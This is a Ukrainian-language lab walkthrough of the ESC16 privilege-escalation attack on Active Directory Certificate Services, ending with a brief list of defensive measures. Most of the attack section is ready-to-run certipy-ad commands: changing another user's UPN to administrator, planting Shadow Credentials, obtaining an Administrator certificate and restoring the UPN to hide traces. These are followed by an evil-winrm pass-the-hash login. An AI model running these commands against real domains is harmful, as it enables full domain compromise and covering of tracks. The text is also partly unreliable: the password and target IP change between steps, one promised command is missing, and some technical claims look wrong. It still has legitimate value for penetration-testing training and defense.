Вразливість ESC16 у службах AD CS дозволяє зловмисникам обходити валідацію сертифікатів та підвищувати привілеї через неправильно налаштовані шаблони, мапінг UPN та техніку Shadow Credentials. Це може призвести до повної компрометації домену. Негайне впровадження заходів захисту є критично важливим для безпеки вашої Microsoft PKI та запобігання несанкціонованому доступу.

Зміст

• Огляд атаки ESC16
• Попередні умови
• Налаштування лабораторії
• Збір інформації та експлуатація
• Постексплуатація
• Переміщення та підвищення привілеїв через Evil-WinRM
• Заходи захисту

Огляд атаки ESC16

ESC16 — це техніка атаки рівня постексплуатації в Active Directory Certificate Services (AD CS), яка поєднує слабкий контроль розширень сертифікатів, неправильну обробку UPN та використання Shadow Credentials для повної компрометації домену.

В основі ESC16 лежить зловживання двома основними слабкостями:

Неправильне використання ключа реєстру DisableExtensionList Якщо цей параметр налаштований некоректно, він дозволяє зловмисникам обходити обмеження на розширення сертифікатів, що відкриває шлях для використання Shadow Credentials або інших маніпуляцій з ідентифікаторами.

Тимчасова маніпуляція UPN Надаючи собі права на запис в атрибут User Principal Name (UPN) іншого облікового запису, зловмисники можуть імітувати привілейовані акаунти (наприклад, Administrator) під час запиту сертифіката.

Поєднання цих факторів дозволяє зловмиснику з низькими привілеями:

• Запитувати сертифікати, які обходять обмеження розширень.
• Зіставляти їх із високопривілейованими акаунтами.
• Використовувати Shadow Credentials для закріплення в системі.
• Отримати права Domain Admin, не викликаючи підозр стандартними методами виявлення (за паролем чи хешем).

Чому ESC16 є небезпечною

• Експлуатує помилку в налаштуваннях реєстру (DisableExtensionList).
• Використовує дозволи на рівні атрибутів (право запису в UPN).
• Дозволяє непомітне закріплення (persistence) через Shadow Credentials.
• Працює навіть у захищених середовищах, де увімкнено StrongCertificateBindingEnforcement.

Результат: Повна компрометація Active Directory з мінімальною кількістю слідів.

Попередні умови

• Windows Server 2019 як Active Directory з підтримкою PKINIT.
• Налаштовані служби сертифікації Active Directory та Центр сертифікації.
• Kali Linux із необхідними інструментами.
• Інструменти: Evil-Winrm, certipy-ad.

Налаштування лабораторії

У цьому посібнику ми не розглядаємо повне розгортання AD CS. Ми припускаємо типове корпоративне середовище, де:

• Встановлено AD та AD CS.
• Існують два доменні користувачі: raj (під контролем зловмисника), sanjeet (ціль із низькими привілеями)
• Центр сертифікації (ignite-DC01-CA) функціонує.

Першим кроком є перевірка та коригування налаштувань в AD та CA, щоб переконатися, що умови для ESC16 виконані.

Перевірка членства користувачів у групах

В оснастці Active Directory Users and Computers (ADUC):

Відкрийте raj → Properties → Member Of

Відкрийте sanjeet → Properties → Member Of

Перевірте привілеї обох акаунтів, щоб оцінити, чи може sanjeet бути використаний як точка входу для підвищення привілеїв.

Надання raj прав на запис для sanjeet

В ADUC:

• Відкрийте sanjeet → Properties → Security → Advanced.
• Додайте користувача raj.
• Надайте права Write permissions.
• Застосуйте зміни.

Цей дозвіл дозволяє raj змінювати конфіденційні атрибути sanjeet (такі як UPN), що є критичним для подальших кроків.

Коригування налаштувань реєстру KDC та CA

Для успіху ESC16 певні налаштування реєстру KDC та CA мають бути надто дозвільними. Цей крок включає аудит цих налаштувань для виявлення слабкостей, які дозволяють запитувати сертифікати з підвищеними привілеями (наприклад, використовуючи SID або UPN іншого користувача).

Ключові зони:

• Налаштування KDC, такі як AllowAltSecurityIdentities.
• Обробка полів SubjectAltName та EKU в шаблонах CA.

Неправильні налаштування тут дозволяють користувачам імітувати привілейовані акаунти через автентифікацію на основі сертифікатів.

Увімкнення Strong Certificate Binding Enforcement

Налаштування ключа реєстру StrongCertificateBindingEnforcement (DWORD) активує сувору валідацію — це поширений захід захисту в корпоративних мережах.

Ми симулюємо сценарій, де цей захист увімкнено. Перевірку можна виконати наступною командою:

Модифікація DisableExtensionList на CA

Зміна параметра DisableExtensionList на Центрі сертифікації дозволяє вилучити певні розширення з “чорного списку”, що дає змогу CA приймати критичні розширення (наприклад, ті, що використовуються для Shadow Credentials).

certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2

Ця команда додає розширення 1.3.6.1.4.1.311.25.2 до дозволеного списку CA, що дозволяє видавати сертифікати з цим розширенням для реалізації техніки Shadow Credentials.

certutil -getreg policy\DisableExtensionList

Після зміни реєстру необхідно перезапустити службу сертифікації (certsvc), щоб зміни набрали чинності без перезавантаження всієї системи.

net stop certsvc
net start certsvc

Збір інформації та експлуатація

Пошук вразливих шаблонів

certipy-ad find -u raj -p Passworda1 -dc-ip 192.168.220.138 -vulnerable -stdout

Це дозволяє ідентифікувати шаблони з ризикованими конфігураціями.

Читання атрибутів облікового запису sanjeet

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -user sanjeet read

Це підтверджує можливість запиту даних sanjeet та перевіряє права на запис.

Зміна UPN користувача sanjeet на Administrator

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -upn administrator -user sanjeet update

Це тимчасово зіставляє sanjeet з administrator@ignite.local, змушуючи CA видати сертифікат для облікового запису Administrator.

Налаштування Shadow Credentials для sanjeet

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.220.138 -account sanjeet auto

Це створює альтернативні дані для входу, забезпечуючи прихований доступ у майбутньому.

Запит сертифіката від імені Administrator

Експортуємо квитки Kerberos для подальшого використання:

export KRB5CCNAME=sanjeet.ccache
certipy-ad req -k -dc-ip 192.168.220.138 -ca 'ignite-DC01-CA' -template 'User' -target dc01.ignite.local

Використовуємо змінений UPN sanjeet для отримання сертифіката адміністратора.

Відновлення оригінального UPN sanjeet

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.220.138 -upn sanjeet@ignite.local -user 'sanjeet' update

Це прибирає сліди, повертаючи оригінальний UPN.

Перевірка змін

certipy-ad account  -u raj -p Password@1 -dc-ip 192.168.220.138 -user sanjeet read

Підтверджуємо, що атрибути повернуто до початкового стану.

Автентифікація як Administrator

certipy-ad auth -dc-ip 192.168.220.138 -pfx administrator.pfx -username administrator -domain 'ignite.local'

Використовуємо отриманий сертифікат для повного доступу Domain Admin.

Постексплуатація

Бічне переміщення та підвищення привілеїв через Evil-WinRM

evil-winrm -i 192.168.1.16 -u administrator -H 64fbae31cc352fc26af97cbdef151e03

Використовуємо вкрадений NTLM-хеш для входу на контролер домену, отримуючи повний контроль.

Заходи захисту

• Обмежте права на запис (Write access) атрибутів інших користувачів.
• Впровадьте суворий моніторинг змін UPN (Event ID 4739).
• Замість масового використання DisableExtensionList, віддавайте перевагу ручному блокуванню лише ризикованих розширень.
• Моніторте створення Shadow Credentials (Event ID 5136).
• Встановіть патчі для AD CS, щоб закрити вектори обходу UPN та розширень (оновлення 2025 року).